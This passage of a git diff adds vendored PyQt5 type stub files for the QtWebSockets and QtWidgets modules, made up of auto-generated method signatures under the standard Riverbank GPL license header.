+class QWebChannelAbstractTransport(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def messageReceived(self, message: typing.Dict[str, typing.Union[QtCore.QJsonValue, QtCore.QJsonValue.Type, typing.Iterable[QtCore.QJsonValue], bool, int, float, None, str]], transport: 'QWebChannelAbstractTransport') -> None: ... + def sendMessage(self, message: typing.Dict[str, typing.Union[QtCore.QJsonValue, QtCore.QJsonValue.Type, typing.Iterable[QtCore.QJsonValue], bool, int, float, None, str]]) -> None: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtWebSockets.pyi b/OTHERS/Jarvis/ools/PyQt5/QtWebSockets.pyi new file mode 100644 index 00000000..86c2ed06 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtWebSockets.pyi @@ -0,0 +1,209 @@ +# The PEP 484 type hints stub file for the QtWebSockets module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtNetwork +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QMaskGenerator(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def nextMask(self) -> int: ... + def seed(self) -> bool: ... + + +class QWebSocket(QtCore.QObject): + + def __init__(self, origin: str = ..., version: 'QWebSocketProtocol.Version' = ..., parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + @staticmethod + def maxOutgoingFrameSize() -> int: ... + def outgoingFrameSize(self) -> int: ... + def setOutgoingFrameSize(self, outgoingFrameSize: int) -> None: ... + @staticmethod + def maxIncomingFrameSize() -> int: ... + @staticmethod + def maxIncomingMessageSize() -> int: ... + def maxAllowedIncomingMessageSize(self) -> int: ... + def setMaxAllowedIncomingMessageSize(self, maxAllowedIncomingMessageSize: int) -> None: ... + def maxAllowedIncomingFrameSize(self) -> int: ... + def setMaxAllowedIncomingFrameSize(self, maxAllowedIncomingFrameSize: int) -> None: ... + def bytesToWrite(self) -> int: ... + def preSharedKeyAuthenticationRequired(self, authenticator: QtNetwork.QSslPreSharedKeyAuthenticator) -> None: ... + def sslErrors(self, errors: typing.Iterable[QtNetwork.QSslError]) -> None: ... + def bytesWritten(self, bytes: int) -> None: ... + def pong(self, elapsedTime: int, payload: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def binaryMessageReceived(self, message: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def textMessageReceived(self, message: str) -> None: ... + def binaryFrameReceived(self, frame: typing.Union[QtCore.QByteArray, bytes, bytearray], isLastFrame: bool) -> None: ... + def textFrameReceived(self, frame: str, isLastFrame: bool) -> None: ... + def readChannelFinished(self) -> None: ... + def proxyAuthenticationRequired(self, proxy: QtNetwork.QNetworkProxy, pAuthenticator: QtNetwork.QAuthenticator) -> None: ... + def stateChanged(self, state: QtNetwork.QAbstractSocket.SocketState) -> None: ... + def disconnected(self) -> None: ... + def connected(self) -> None: ... + def aboutToClose(self) -> None: ... + def ping(self, payload: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> None: ... + @typing.overload + def open(self, url: QtCore.QUrl) -> None: ... + @typing.overload + def open(self, request: QtNetwork.QNetworkRequest) -> None: ... + def close(self, closeCode: 'QWebSocketProtocol.CloseCode' = ..., reason: str = ...) -> None: ... + def request(self) -> QtNetwork.QNetworkRequest: ... + def sslConfiguration(self) -> QtNetwork.QSslConfiguration: ... + def setSslConfiguration(self, sslConfiguration: QtNetwork.QSslConfiguration) -> None: ... + @typing.overload + def ignoreSslErrors(self, errors: typing.Iterable[QtNetwork.QSslError]) -> None: ... + @typing.overload + def ignoreSslErrors(self) -> None: ... + def sendBinaryMessage(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> int: ... + def sendTextMessage(self, message: str) -> int: ... + def closeReason(self) -> str: ... + def closeCode(self) -> 'QWebSocketProtocol.CloseCode': ... + def origin(self) -> str: ... + def requestUrl(self) -> QtCore.QUrl: ... + def resourceName(self) -> str: ... + def version(self) -> 'QWebSocketProtocol.Version': ... + def state(self) -> QtNetwork.QAbstractSocket.SocketState: ... + def setPauseMode(self, pauseMode: typing.Union[QtNetwork.QAbstractSocket.PauseModes, QtNetwork.QAbstractSocket.PauseMode]) -> None: ... + def resume(self) -> None: ... + def setReadBufferSize(self, size: int) -> None: ... + def readBufferSize(self) -> int: ... + def maskGenerator(self) -> QMaskGenerator: ... + def setMaskGenerator(self, maskGenerator: QMaskGenerator) -> None: ... + def setProxy(self, networkProxy: QtNetwork.QNetworkProxy) -> None: ... + def proxy(self) -> QtNetwork.QNetworkProxy: ... + def peerPort(self) -> int: ... + def peerName(self) -> str: ... + def peerAddress(self) -> QtNetwork.QHostAddress: ... + def pauseMode(self) -> QtNetwork.QAbstractSocket.PauseModes: ... + def localPort(self) -> int: ... + def localAddress(self) -> QtNetwork.QHostAddress: ... + def isValid(self) -> bool: ... + def flush(self) -> bool: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> QtNetwork.QAbstractSocket.SocketError: ... + @typing.overload + def error(self, error: QtNetwork.QAbstractSocket.SocketError) -> None: ... + def abort(self) -> None: ... + + +class QWebSocketCorsAuthenticator(sip.simplewrapper): + + @typing.overload + def __init__(self, origin: str) -> None: ... + @typing.overload + def __init__(self, other: 'QWebSocketCorsAuthenticator') -> None: ... + + def allowed(self) -> bool: ... + def setAllowed(self, allowed: bool) -> None: ... + def origin(self) -> str: ... + def swap(self, other: 'QWebSocketCorsAuthenticator') -> None: ... + + +class QWebSocketProtocol(PyQt5.sip.simplewrapper): + + class CloseCode(int): + CloseCodeNormal = ... # type: QWebSocketProtocol.CloseCode + CloseCodeGoingAway = ... # type: QWebSocketProtocol.CloseCode + CloseCodeProtocolError = ... # type: QWebSocketProtocol.CloseCode + CloseCodeDatatypeNotSupported = ... # type: QWebSocketProtocol.CloseCode + CloseCodeReserved1004 = ... # type: QWebSocketProtocol.CloseCode + CloseCodeMissingStatusCode = ... # type: QWebSocketProtocol.CloseCode + CloseCodeAbnormalDisconnection = ... # type: QWebSocketProtocol.CloseCode + CloseCodeWrongDatatype = ... # type: QWebSocketProtocol.CloseCode + CloseCodePolicyViolated = ... # type: QWebSocketProtocol.CloseCode + CloseCodeTooMuchData = ... # type: QWebSocketProtocol.CloseCode + CloseCodeMissingExtension = ... # type: QWebSocketProtocol.CloseCode + CloseCodeBadOperation = ... # type: QWebSocketProtocol.CloseCode + CloseCodeTlsHandshakeFailed = ... # type: QWebSocketProtocol.CloseCode + + class Version(int): + VersionUnknown = ... # type: QWebSocketProtocol.Version + Version0 = ... # type: QWebSocketProtocol.Version + Version4 = ... # type: QWebSocketProtocol.Version + Version5 = ... # type: QWebSocketProtocol.Version + Version6 = ... # type: QWebSocketProtocol.Version + Version7 = ... # type: QWebSocketProtocol.Version + Version8 = ... # type: QWebSocketProtocol.Version + Version13 = ... # type: QWebSocketProtocol.Version + VersionLatest = ... # type: QWebSocketProtocol.Version + + +class QWebSocketServer(QtCore.QObject): + + class SslMode(int): + SecureMode = ... # type: QWebSocketServer.SslMode + NonSecureMode = ... # type: QWebSocketServer.SslMode + + def __init__(self, serverName: str, secureMode: 'QWebSocketServer.SslMode', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def handshakeTimeoutMS(self) -> int: ... + def setHandshakeTimeout(self, msec: int) -> None: ... + def nativeDescriptor(self) -> PyQt5.sip.voidptr: ... + def setNativeDescriptor(self, descriptor: PyQt5.sip.voidptr) -> bool: ... + def preSharedKeyAuthenticationRequired(self, authenticator: QtNetwork.QSslPreSharedKeyAuthenticator) -> None: ... + def closed(self) -> None: ... + def sslErrors(self, errors: typing.Iterable[QtNetwork.QSslError]) -> None: ... + def peerVerifyError(self, error: QtNetwork.QSslError) -> None: ... + def newConnection(self) -> None: ... + def originAuthenticationRequired(self, pAuthenticator: QWebSocketCorsAuthenticator) -> None: ... + def serverError(self, closeCode: QWebSocketProtocol.CloseCode) -> None: ... + def acceptError(self, socketError: QtNetwork.QAbstractSocket.SocketError) -> None: ... + def handleConnection(self, socket: QtNetwork.QTcpSocket) -> None: ... + def serverUrl(self) -> QtCore.QUrl: ... + def supportedVersions(self) -> typing.List[QWebSocketProtocol.Version]: ... + def sslConfiguration(self) -> QtNetwork.QSslConfiguration: ... + def setSslConfiguration(self, sslConfiguration: QtNetwork.QSslConfiguration) -> None: ... + def proxy(self) -> QtNetwork.QNetworkProxy: ... + def setProxy(self, networkProxy: QtNetwork.QNetworkProxy) -> None: ... + def serverName(self) -> str: ... + def setServerName(self, serverName: str) -> None: ... + def resumeAccepting(self) -> None: ... + def pauseAccepting(self) -> None: ... + def errorString(self) -> str: ... + def error(self) -> QWebSocketProtocol.CloseCode: ... + def nextPendingConnection(self) -> QWebSocket: ... + def hasPendingConnections(self) -> bool: ... + def socketDescriptor(self) -> int: ... + def setSocketDescriptor(self, socketDescriptor: int) -> bool: ... + def secureMode(self) -> 'QWebSocketServer.SslMode': ... + def serverAddress(self) -> QtNetwork.QHostAddress: ... + def serverPort(self) -> int: ... + def maxPendingConnections(self) -> int: ... + def setMaxPendingConnections(self, numConnections: int) -> None: ... + def isListening(self) -> bool: ... + def close(self) -> None: ... + def listen(self, address: typing.Union[QtNetwork.QHostAddress, QtNetwork.QHostAddress.SpecialAddress] = ..., port: int = ...) -> bool: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtWidgets.pyi b/OTHERS/Jarvis/ools/PyQt5/QtWidgets.pyi new file mode 100644 index 00000000..14bd9c29 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtWidgets.pyi @@ -0,0 +1,9914 @@ +# The PEP 484 type hints stub file for the QtWidgets module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtGui +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QWidget(QtCore.QObject, QtGui.QPaintDevice): + + class RenderFlag(int): + DrawWindowBackground = ... # type: QWidget.RenderFlag + DrawChildren = ... # type: QWidget.RenderFlag + IgnoreMask = ... # type: QWidget.RenderFlag + + class RenderFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QWidget.RenderFlags', 'QWidget.RenderFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QWidget.RenderFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QWidget.RenderFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional['QWidget'] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def screen(self) -> QtGui.QScreen: ... + def setWindowFlag(self, a0: QtCore.Qt.WindowType, on: bool = ...) -> None: ... + def hasTabletTracking(self) -> bool: ... + def setTabletTracking(self, enable: bool) -> None: ... + def windowIconTextChanged(self, iconText: str) -> None: ... + def windowIconChanged(self, icon: QtGui.QIcon) -> None: ... + def windowTitleChanged(self, title: str) -> None: ... + def toolTipDuration(self) -> int: ... + def setToolTipDuration(self, msec: int) -> None: ... + def initPainter(self, painter: QtGui.QPainter) -> None: ... + def sharedPainter(self) -> QtGui.QPainter: ... + def nativeEvent(self, eventType: typing.Union[QtCore.QByteArray, bytes, bytearray], message: PyQt5.sip.voidptr) -> typing.Tuple[bool, int]: ... + def windowHandle(self) -> QtGui.QWindow: ... + @staticmethod + def createWindowContainer(window: QtGui.QWindow, parent: typing.Optional['QWidget'] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> 'QWidget': ... + def grab(self, rectangle: QtCore.QRect = ...) -> QtGui.QPixmap: ... + def hasHeightForWidth(self) -> bool: ... + def setInputMethodHints(self, hints: typing.Union[QtCore.Qt.InputMethodHints, QtCore.Qt.InputMethodHint]) -> None: ... + def inputMethodHints(self) -> QtCore.Qt.InputMethodHints: ... + def previousInFocusChain(self) -> 'QWidget': ... + def contentsMargins(self) -> QtCore.QMargins: ... + def ungrabGesture(self, type: QtCore.Qt.GestureType) -> None: ... + def grabGesture(self, type: QtCore.Qt.GestureType, flags: typing.Union[QtCore.Qt.GestureFlags, QtCore.Qt.GestureFlag] = ...) -> None: ... + def setGraphicsEffect(self, effect: 'QGraphicsEffect') -> None: ... + def graphicsEffect(self) -> 'QGraphicsEffect': ... + def graphicsProxyWidget(self) -> 'QGraphicsProxyWidget': ... + def windowFilePath(self) -> str: ... + def setWindowFilePath(self, filePath: str) -> None: ... + def nativeParentWidget(self) -> 'QWidget': ... + def effectiveWinId(self) -> PyQt5.sip.voidptr: ... + def unsetLocale(self) -> None: ... + def locale(self) -> QtCore.QLocale: ... + def setLocale(self, locale: QtCore.QLocale) -> None: ... + @typing.overload + def render(self, target: QtGui.QPaintDevice, targetOffset: QtCore.QPoint = ..., sourceRegion: QtGui.QRegion = ..., flags: typing.Union['QWidget.RenderFlags', 'QWidget.RenderFlag'] = ...) -> None: ... + @typing.overload + def render(self, painter: QtGui.QPainter, targetOffset: QtCore.QPoint = ..., sourceRegion: QtGui.QRegion = ..., flags: typing.Union['QWidget.RenderFlags', 'QWidget.RenderFlag'] = ...) -> None: ... + def restoreGeometry(self, geometry: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + def saveGeometry(self) -> QtCore.QByteArray: ... + def setShortcutAutoRepeat(self, id: int, enabled: bool = ...) -> None: ... + def styleSheet(self) -> str: ... + def setStyleSheet(self, styleSheet: str) -> None: ... + def setAutoFillBackground(self, enabled: bool) -> None: ... + def autoFillBackground(self) -> bool: ... + def setWindowModality(self, windowModality: QtCore.Qt.WindowModality) -> None: ... + def windowModality(self) -> QtCore.Qt.WindowModality: ... + def testAttribute(self, attribute: QtCore.Qt.WidgetAttribute) -> bool: ... + def parentWidget(self) -> 'QWidget': ... + def height(self) -> int: ... + def width(self) -> int: ... + def size(self) -> QtCore.QSize: ... + def geometry(self) -> QtCore.QRect: ... + def rect(self) -> QtCore.QRect: ... + def isHidden(self) -> bool: ... + def isVisible(self) -> bool: ... + def updatesEnabled(self) -> bool: ... + def underMouse(self) -> bool: ... + def hasMouseTracking(self) -> bool: ... + def setMouseTracking(self, enable: bool) -> None: ... + def fontInfo(self) -> QtGui.QFontInfo: ... + def fontMetrics(self) -> QtGui.QFontMetrics: ... + def font(self) -> QtGui.QFont: ... + def maximumHeight(self) -> int: ... + def maximumWidth(self) -> int: ... + def minimumHeight(self) -> int: ... + def minimumWidth(self) -> int: ... + def isModal(self) -> bool: ... + def isEnabled(self) -> bool: ... + def isWindow(self) -> bool: ... + def winId(self) -> PyQt5.sip.voidptr: ... + def windowFlags(self) -> QtCore.Qt.WindowFlags: ... + def windowType(self) -> QtCore.Qt.WindowType: ... + def focusPreviousChild(self) -> bool: ... + def focusNextChild(self) -> bool: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def destroy(self, destroyWindow: bool = ..., destroySubWindows: bool = ...) -> None: ... + def create(self, window: PyQt5.sip.voidptr = ..., initializeWindow: bool = ..., destroyOldWindow: bool = ...) -> None: ... + def updateMicroFocus(self) -> None: ... + def inputMethodQuery(self, a0: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + def inputMethodEvent(self, a0: QtGui.QInputMethodEvent) -> None: ... + def metric(self, a0: QtGui.QPaintDevice.PaintDeviceMetric) -> int: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def hideEvent(self, a0: QtGui.QHideEvent) -> None: ... + def showEvent(self, a0: QtGui.QShowEvent) -> None: ... + def dropEvent(self, a0: QtGui.QDropEvent) -> None: ... + def dragLeaveEvent(self, a0: QtGui.QDragLeaveEvent) -> None: ... + def dragMoveEvent(self, a0: QtGui.QDragMoveEvent) -> None: ... + def dragEnterEvent(self, a0: QtGui.QDragEnterEvent) -> None: ... + def actionEvent(self, a0: QtGui.QActionEvent) -> None: ... + def tabletEvent(self, a0: QtGui.QTabletEvent) -> None: ... + def contextMenuEvent(self, a0: QtGui.QContextMenuEvent) -> None: ... + def closeEvent(self, a0: QtGui.QCloseEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def moveEvent(self, a0: QtGui.QMoveEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def leaveEvent(self, a0: QtCore.QEvent) -> None: ... + def enterEvent(self, a0: QtCore.QEvent) -> None: ... + def focusOutEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def keyReleaseEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def wheelEvent(self, a0: QtGui.QWheelEvent) -> None: ... + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseDoubleClickEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def customContextMenuRequested(self, pos: QtCore.QPoint) -> None: ... + def isAncestorOf(self, child: 'QWidget') -> bool: ... + def ensurePolished(self) -> None: ... + def paintEngine(self) -> QtGui.QPaintEngine: ... + def setAttribute(self, attribute: QtCore.Qt.WidgetAttribute, on: bool = ...) -> None: ... + @typing.overload + def childAt(self, p: QtCore.QPoint) -> 'QWidget': ... + @typing.overload + def childAt(self, ax: int, ay: int) -> 'QWidget': ... + @staticmethod + def find(a0: PyQt5.sip.voidptr) -> 'QWidget': ... + def overrideWindowFlags(self, type: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType]) -> None: ... + def setWindowFlags(self, type: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType]) -> None: ... + def actions(self) -> typing.List['QAction']: ... + def removeAction(self, action: 'QAction') -> None: ... + def insertActions(self, before: 'QAction', actions: typing.Iterable['QAction']) -> None: ... + def insertAction(self, before: 'QAction', action: 'QAction') -> None: ... + def addActions(self, actions: typing.Iterable['QAction']) -> None: ... + def addAction(self, action: 'QAction') -> None: ... + def setAcceptDrops(self, on: bool) -> None: ... + def acceptDrops(self) -> bool: ... + def nextInFocusChain(self) -> 'QWidget': ... + def focusWidget(self) -> 'QWidget': ... + @typing.overload + def scroll(self, dx: int, dy: int) -> None: ... + @typing.overload + def scroll(self, dx: int, dy: int, a2: QtCore.QRect) -> None: ... + @typing.overload + def setParent(self, parent: 'QWidget') -> None: ... + @typing.overload + def setParent(self, parent: 'QWidget', f: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType]) -> None: ... + def updateGeometry(self) -> None: ... + def setLayout(self, a0: 'QLayout') -> None: ... + def layout(self) -> 'QLayout': ... + def contentsRect(self) -> QtCore.QRect: ... + def getContentsMargins(self) -> typing.Tuple[int, int, int, int]: ... + @typing.overload + def setContentsMargins(self, left: int, top: int, right: int, bottom: int) -> None: ... + @typing.overload + def setContentsMargins(self, margins: QtCore.QMargins) -> None: ... + def visibleRegion(self) -> QtGui.QRegion: ... + def heightForWidth(self, a0: int) -> int: ... + @typing.overload + def setSizePolicy(self, a0: 'QSizePolicy') -> None: ... + @typing.overload + def setSizePolicy(self, hor: 'QSizePolicy.Policy', ver: 'QSizePolicy.Policy') -> None: ... + def sizePolicy(self) -> 'QSizePolicy': ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def overrideWindowState(self, state: typing.Union[QtCore.Qt.WindowStates, QtCore.Qt.WindowState]) -> None: ... + def setWindowState(self, state: typing.Union[QtCore.Qt.WindowStates, QtCore.Qt.WindowState]) -> None: ... + def windowState(self) -> QtCore.Qt.WindowStates: ... + def isFullScreen(self) -> bool: ... + def isMaximized(self) -> bool: ... + def isMinimized(self) -> bool: ... + def isVisibleTo(self, a0: 'QWidget') -> bool: ... + def adjustSize(self) -> None: ... + @typing.overload + def setGeometry(self, a0: QtCore.QRect) -> None: ... + @typing.overload + def setGeometry(self, ax: int, ay: int, aw: int, ah: int) -> None: ... + @typing.overload + def resize(self, a0: QtCore.QSize) -> None: ... + @typing.overload + def resize(self, w: int, h: int) -> None: ... + @typing.overload + def move(self, a0: QtCore.QPoint) -> None: ... + @typing.overload + def move(self, ax: int, ay: int) -> None: ... + def stackUnder(self, a0: 'QWidget') -> None: ... + def lower(self) -> None: ... + def raise_(self) -> None: ... + def close(self) -> bool: ... + def showNormal(self) -> None: ... + def showFullScreen(self) -> None: ... + def showMaximized(self) -> None: ... + def showMinimized(self) -> None: ... + def hide(self) -> None: ... + def show(self) -> None: ... + def setHidden(self, hidden: bool) -> None: ... + def setVisible(self, visible: bool) -> None: ... + @typing.overload + def repaint(self) -> None: ... + @typing.overload + def repaint(self, x: int, y: int, w: int, h: int) -> None: ... + @typing.overload + def repaint(self, a0: QtCore.QRect) -> None: ... + @typing.overload + def repaint(self, a0: QtGui.QRegion) -> None: ... + @typing.overload + def update(self) -> None: ... + @typing.overload + def update(self, a0: QtCore.QRect) -> None: ... + @typing.overload + def update(self, a0: QtGui.QRegion) -> None: ... + @typing.overload + def update(self, ax: int, ay: int, aw: int, ah: int) -> None: ... + def setUpdatesEnabled(self, enable: bool) -> None: ... + @staticmethod + def keyboardGrabber() -> 'QWidget': ... + @staticmethod + def mouseGrabber() -> 'QWidget': ... + def setShortcutEnabled(self, id: int, enabled: bool = ...) -> None: ... + def releaseShortcut(self, id: int) -> None: ... + def grabShortcut(self, key: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int], context: QtCore.Qt.ShortcutContext = ...) -> int: ... + def releaseKeyboard(self) -> None: ... + def grabKeyboard(self) -> None: ... + def releaseMouse(self) -> None: ... + @typing.overload + def grabMouse(self) -> None: ... + @typing.overload + def grabMouse(self, a0: typing.Union[QtGui.QCursor, QtCore.Qt.CursorShape]) -> None: ... + def setContextMenuPolicy(self, policy: QtCore.Qt.ContextMenuPolicy) -> None: ... + def contextMenuPolicy(self) -> QtCore.Qt.ContextMenuPolicy: ... + def focusProxy(self) -> 'QWidget': ... + def setFocusProxy(self, a0: 'QWidget') -> None: ... + @staticmethod + def setTabOrder(a0: 'QWidget', a1: 'QWidget') -> None: ... + def hasFocus(self) -> bool: ... + def setFocusPolicy(self, policy: QtCore.Qt.FocusPolicy) -> None: ... + def focusPolicy(self) -> QtCore.Qt.FocusPolicy: ... + def clearFocus(self) -> None: ... + def activateWindow(self) -> None: ... + def isActiveWindow(self) -> bool: ... + @typing.overload + def setFocus(self) -> None: ... + @typing.overload + def setFocus(self, reason: QtCore.Qt.FocusReason) -> None: ... + def isLeftToRight(self) -> bool: ... + def isRightToLeft(self) -> bool: ... + def unsetLayoutDirection(self) -> None: ... + def layoutDirection(self) -> QtCore.Qt.LayoutDirection: ... + def setLayoutDirection(self, direction: QtCore.Qt.LayoutDirection) -> None: ... + def setAccessibleDescription(self, description: str) -> None: ... + def accessibleDescription(self) -> str: ... + def setAccessibleName(self, name: str) -> None: ... + def accessibleName(self) -> str: ... + def whatsThis(self) -> str: ... + def setWhatsThis(self, a0: str) -> None: ... + def statusTip(self) -> str: ... + def setStatusTip(self, a0: str) -> None: ... + def toolTip(self) -> str: ... + def setToolTip(self, a0: str) -> None: ... + def isWindowModified(self) -> bool: ... + def windowOpacity(self) -> float: ... + def setWindowOpacity(self, level: float) -> None: ... + def windowRole(self) -> str: ... + def setWindowRole(self, a0: str) -> None: ... + def windowIconText(self) -> str: ... + def setWindowIconText(self, a0: str) -> None: ... + def windowIcon(self) -> QtGui.QIcon: ... + def setWindowIcon(self, icon: QtGui.QIcon) -> None: ... + def windowTitle(self) -> str: ... + def setWindowTitle(self, a0: str) -> None: ... + def clearMask(self) -> None: ... + def mask(self) -> QtGui.QRegion: ... + @typing.overload + def setMask(self, a0: QtGui.QBitmap) -> None: ... + @typing.overload + def setMask(self, a0: QtGui.QRegion) -> None: ... + def unsetCursor(self) -> None: ... + def setCursor(self, a0: typing.Union[QtGui.QCursor, QtCore.Qt.CursorShape]) -> None: ... + def cursor(self) -> QtGui.QCursor: ... + def setFont(self, a0: QtGui.QFont) -> None: ... + def foregroundRole(self) -> QtGui.QPalette.ColorRole: ... + def setForegroundRole(self, a0: QtGui.QPalette.ColorRole) -> None: ... + def backgroundRole(self) -> QtGui.QPalette.ColorRole: ... + def setBackgroundRole(self, a0: QtGui.QPalette.ColorRole) -> None: ... + def setPalette(self, a0: QtGui.QPalette) -> None: ... + def palette(self) -> QtGui.QPalette: ... + def window(self) -> 'QWidget': ... + def mapFrom(self, a0: 'QWidget', a1: QtCore.QPoint) -> QtCore.QPoint: ... + def mapTo(self, a0: 'QWidget', a1: QtCore.QPoint) -> QtCore.QPoint: ... + def mapFromParent(self, a0: QtCore.QPoint) -> QtCore.QPoint: ... + def mapToParent(self, a0: QtCore.QPoint) -> QtCore.QPoint: ... + def mapFromGlobal(self, a0: QtCore.QPoint) -> QtCore.QPoint: ... + def mapToGlobal(self, a0: QtCore.QPoint) -> QtCore.QPoint: ... + def setFixedHeight(self, h: int) -> None: ... + def setFixedWidth(self, w: int) -> None: ... + @typing.overload + def setFixedSize(self, a0: QtCore.QSize) -> None: ... + @typing.overload + def setFixedSize(self, w: int, h: int) -> None: ... + @typing.overload + def setBaseSize(self, basew: int, baseh: int) -> None: ... + @typing.overload + def setBaseSize(self, s: QtCore.QSize) -> None: ... + def baseSize(self) -> QtCore.QSize: ... + @typing.overload + def setSizeIncrement(self, w: int, h: int) -> None: ... + @typing.overload + def setSizeIncrement(self, s: QtCore.QSize) -> None: ... + def sizeIncrement(self) -> QtCore.QSize: ... + def setMaximumHeight(self, maxh: int) -> None: ... + def setMaximumWidth(self, maxw: int) -> None: ... + def setMinimumHeight(self, minh: int) -> None: ... + def setMinimumWidth(self, minw: int) -> None: ... + @typing.overload + def setMaximumSize(self, maxw: int, maxh: int) -> None: ... + @typing.overload + def setMaximumSize(self, s: QtCore.QSize) -> None: ... + @typing.overload + def setMinimumSize(self, minw: int, minh: int) -> None: ... + @typing.overload + def setMinimumSize(self, s: QtCore.QSize) -> None: ... + def maximumSize(self) -> QtCore.QSize: ... + def minimumSize(self) -> QtCore.QSize: ... + def childrenRegion(self) -> QtGui.QRegion: ... + def childrenRect(self) -> QtCore.QRect: ... + def frameSize(self) -> QtCore.QSize: ... + def pos(self) -> QtCore.QPoint: ... + def y(self) -> int: ... + def x(self) -> int: ... + def normalGeometry(self) -> QtCore.QRect: ... + def frameGeometry(self) -> QtCore.QRect: ... + def setWindowModified(self, a0: bool) -> None: ... + def setDisabled(self, a0: bool) -> None: ... + def setEnabled(self, a0: bool) -> None: ... + def isEnabledTo(self, a0: 'QWidget') -> bool: ... + def setStyle(self, a0: 'QStyle') -> None: ... + def style(self) -> 'QStyle': ... + def devType(self) -> int: ... + + +class QAbstractButton(QWidget): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def timerEvent(self, e: QtCore.QTimerEvent) -> None: ... + def changeEvent(self, e: QtCore.QEvent) -> None: ... + def focusOutEvent(self, e: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, e: QtGui.QFocusEvent) -> None: ... + def mouseMoveEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, e: QtGui.QMouseEvent) -> None: ... + def keyReleaseEvent(self, e: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, e: QtGui.QKeyEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def nextCheckState(self) -> None: ... + def checkStateSet(self) -> None: 